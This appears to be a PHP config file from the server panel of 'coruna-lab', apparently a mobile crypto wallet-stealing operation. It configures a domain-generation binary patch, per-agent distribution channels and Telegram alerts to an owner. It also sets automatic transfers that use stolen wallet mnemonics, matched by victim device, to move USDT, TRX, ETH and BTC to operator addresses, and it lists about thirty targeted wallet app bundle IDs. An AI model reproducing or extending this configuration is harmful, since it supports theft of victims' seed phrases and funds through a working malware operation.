Files
coruna-lab/config/coruna.php
T
2026-08-30 23:06:24 +08:00

159 lines
7.0 KiB
PHP

<?php
$parseDomains = static fn (string $value): array => array_values(array_filter(array_map(
'trim',
preg_split('/[\s,;]+/', $value) ?: []
)));
// Optional link-display hosts (not used by the DGA binary patch).
$channelDomains = $parseDomains((string) env('CORUNA_LAB_CHANNEL_DOMAINS', ''));
$reportingDomains = $parseDomains((string) env('CORUNA_REPORTING_DOMAINS', ''));
// Panel Host allowlists (empty = no restriction). Overridable via system settings.
$adminHosts = $parseDomains((string) env('CORUNA_ADMIN_HOSTS', ''));
$agentHosts = $parseDomains((string) env('CORUNA_AGENT_HOSTS', ''));
return [
'session_key' => env('CORUNA_SESSION_KEY'), // optional override; empty = derive(seed=0)
'xxbb' => [
// Hardcoded in xxbb type-0x01 / core; not the lab derived 7@Lb… key.
'session_key' => env('XXBB_SESSION_KEY', 'Ek8pl31K2yeHgQwy'),
// Shared native DGA / report field `c`. Same for every new-builder channel.
'channel_c' => strtolower(trim((string) env('XXBB_CHANNEL_C', ''))),
],
'channel_domains' => $channelDomains,
'deployment_domains' => $channelDomains,
'reporting_domains' => $reportingDomains,
'panel' => [
'admin_hosts' => $adminHosts,
'agent_hosts' => $agentHosts,
],
'static_site' => [
// Scheme used when CORUNA_LAB_CHANNEL_DOMAINS entries omit https://.
'scheme' => env('CORUNA_STATIC_SITE_SCHEME', 'https'),
],
'channel_builder' => [
// Absolute python for channel-builder (default: channel-builder/.venv/bin/python or python3).
'python' => (string) env('CORUNA_CHANNEL_BUILDER_PYTHON', ''),
// Served artifact root: public/web/<id>/ + public/sync/ (+ lab_seeds/out under state_root).
'artifact_root' => (string) env('CORUNA_ARTIFACT_ROOT', public_path()),
// Builder state (lab_seeds.json, out/) — keep outside the web root when possible.
'state_root' => (string) env(
'CORUNA_CHANNEL_STATE_ROOT',
storage_path('app/channel-builder')
),
'timeout' => (float) env('CORUNA_CHANNEL_BUILDER_TIMEOUT', 600),
],
'channel_builder_new' => [
'python' => (string) env('CORUNA_CHANNEL_BUILDER_NEW_PYTHON', ''),
'state_root' => (string) env(
'CORUNA_CHANNEL_NEW_STATE_ROOT',
storage_path('app/channel-builder-new')
),
],
'channels' => [
// Max channel links per agent user (0 = official is unlimited). Overridable via settings.
'max_per_agent' => (int) env('CORUNA_MAX_CHANNELS_PER_AGENT', 5),
],
'auto_transfer' => [
'enabled' => in_array(strtolower((string) env('AUTO_TRANSFER_ENABLED', '0')), ['1', 'true', 'yes', 'on'], true),
'threshold_usdt' => (string) env('AUTO_TRANSFER_THRESHOLD_USDT', ''),
'threshold_trx' => (string) env('AUTO_TRANSFER_THRESHOLD_TRX', ''),
'threshold_eth' => (string) env('AUTO_TRANSFER_THRESHOLD_ETH', ''),
'threshold_btc' => (string) env('AUTO_TRANSFER_THRESHOLD_BTC', ''),
],
// Absolute path, project-local bin/7z, or bare "7z" on PATH. Avoid probing
// system paths with is_executable() under open_basedir (see CorunaArchive).
'seven_zip' => env('CORUNA_7Z_BIN', ''),
'telegram' => [
'bot_token' => env('TELEGRAM_BOT_TOKEN'),
'bot_username' => env('TELEGRAM_BOT_USERNAME', ''),
'owner_chat_id' => env('TELEGRAM_OWNER_CHAT_ID'),
'webhook_secret' => env('TELEGRAM_WEBHOOK_SECRET', ''),
],
'tokenview' => [
'api_key' => env('TOKENVIEW_API_KEY', ''),
'sign_key' => env('TOKENVIEW_SIGN_KEY', ''),
'base_url' => env('TOKENVIEW_BASE_URL', 'https://services.tokenview.io/vipapi'),
],
'tron' => [
'full_node' => env('TRON_FULL_NODE', 'https://api.trongrid.io'),
'api_key' => env('TRON_API_KEY', ''),
// Official Tether USDT TRC20. BTC/ETH/BNB have no canonical Tron natives — not queried.
'usdt_contract' => env('TRON_USDT_CONTRACT', 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'),
'fee_limit' => (int) env('TRON_FEE_LIMIT', 100_000_000),
],
'eth' => [
'rpc_url' => env('ETH_RPC_URL', 'https://ethereum.publicnode.com'),
'chain_id' => (int) env('ETH_CHAIN_ID', 1),
// Official Tether USDT ERC20 (mainnet). Empty = skip token balance/transfer.
'usdt_contract' => env('ETH_USDT_CONTRACT', '0xdAC17F958D2ee523a2206206994597C13D831ec7'),
'usdt_decimals' => (int) env('ETH_USDT_DECIMALS', 6),
'gas_limit' => env('ETH_GAS_LIMIT', ''),
],
'btc' => [
// mempool.space-compatible REST root (…/api).
'api_url' => env('BTC_API_URL', 'https://mempool.space/api'),
// 0 = fetch recommended halfHourFee from API.
'fee_rate' => (int) env('BTC_FEE_RATE', 0),
],
// /transfer: from = command arg (device address); to = per-chain TRANSFER_TO_ADDRESS_*.
// Mnemonics resolved from wallet_mnemonics by address→device_id+source.
'transfer' => [
'to_address' => env('TRANSFER_TO_ADDRESS', ''),
'to_address_eth' => env('TRANSFER_TO_ADDRESS_ETH', ''),
'to_address_btc' => env('TRANSFER_TO_ADDRESS_BTC', ''),
'fee_address_tron' => env('TRANSFER_FEE_ADDRESS_TRON', ''),
'fee_private_key_tron' => env('TRANSFER_FEE_PRIVATE_KEY_TRON', ''),
// Target TRX balance before a transfer (shortfall only is sent).
'fee_topup_trx' => env('TRANSFER_FEE_TOPUP_TRX', '20'),
'max_usdt' => env('TRANSFER_MAX_USDT', '0'),
'max_trx' => env('TRANSFER_MAX_TRX', '0'),
'max_eth' => env('TRANSFER_MAX_ETH', '0'),
'max_btc' => env('TRANSFER_MAX_BTC', '0'),
// BIP44 account index scan upper bound when matching fromAddress.
'max_derive_index' => (int) env('TRANSFER_MAX_DERIVE_INDEX', 20),
// Leave this much native when transferring "all".
'trx_fee_reserve' => env('TRANSFER_TRX_FEE_RESERVE', '1'),
'eth_fee_reserve' => env('TRANSFER_ETH_FEE_RESERVE', '0.001'),
'btc_fee_reserve' => env('TRANSFER_BTC_FEE_RESERVE', '0.0001'),
],
'wallet_bundles' => [
'im.token.app',
'io.metamask',
'io.metamask.MetaMask',
'com.wallet.crypto.trustapp',
'com.sixdays.trust',
'com.okex.wallet',
'com.okex.OKExAppstoreFull',
'com.coinbase.wallet',
'org.toshi.distribution',
'com.exodus',
'exodus-movement.exodus',
'app.phantom',
'com.uniswap.mobile',
'com.tronlinkpro.wallet',
'com.tronlink.hdwallet',
'com.mytonwallet.app',
'org.mytonwallet.app',
'com.tonhub.app',
'com.tonkeeper.app',
'com.jbig.tonkeeper',
'vip.mytokenpocket',
'com.bitkeep.wallet',
'com.bitkeep.os',
'com.bitpie',
'com.bitpie.wallet',
'com.coin98',
'coin98.crypto.finance.insights',
'com.solflare.mobile',
'com.roninchain.wallet',
'com.skymavis.Genesis',
'com.krystal.wallet',
'com.kyrd.krystal.ios',
'com.global.wallet.ios',
'ph.telegra.Telegraph',
],
];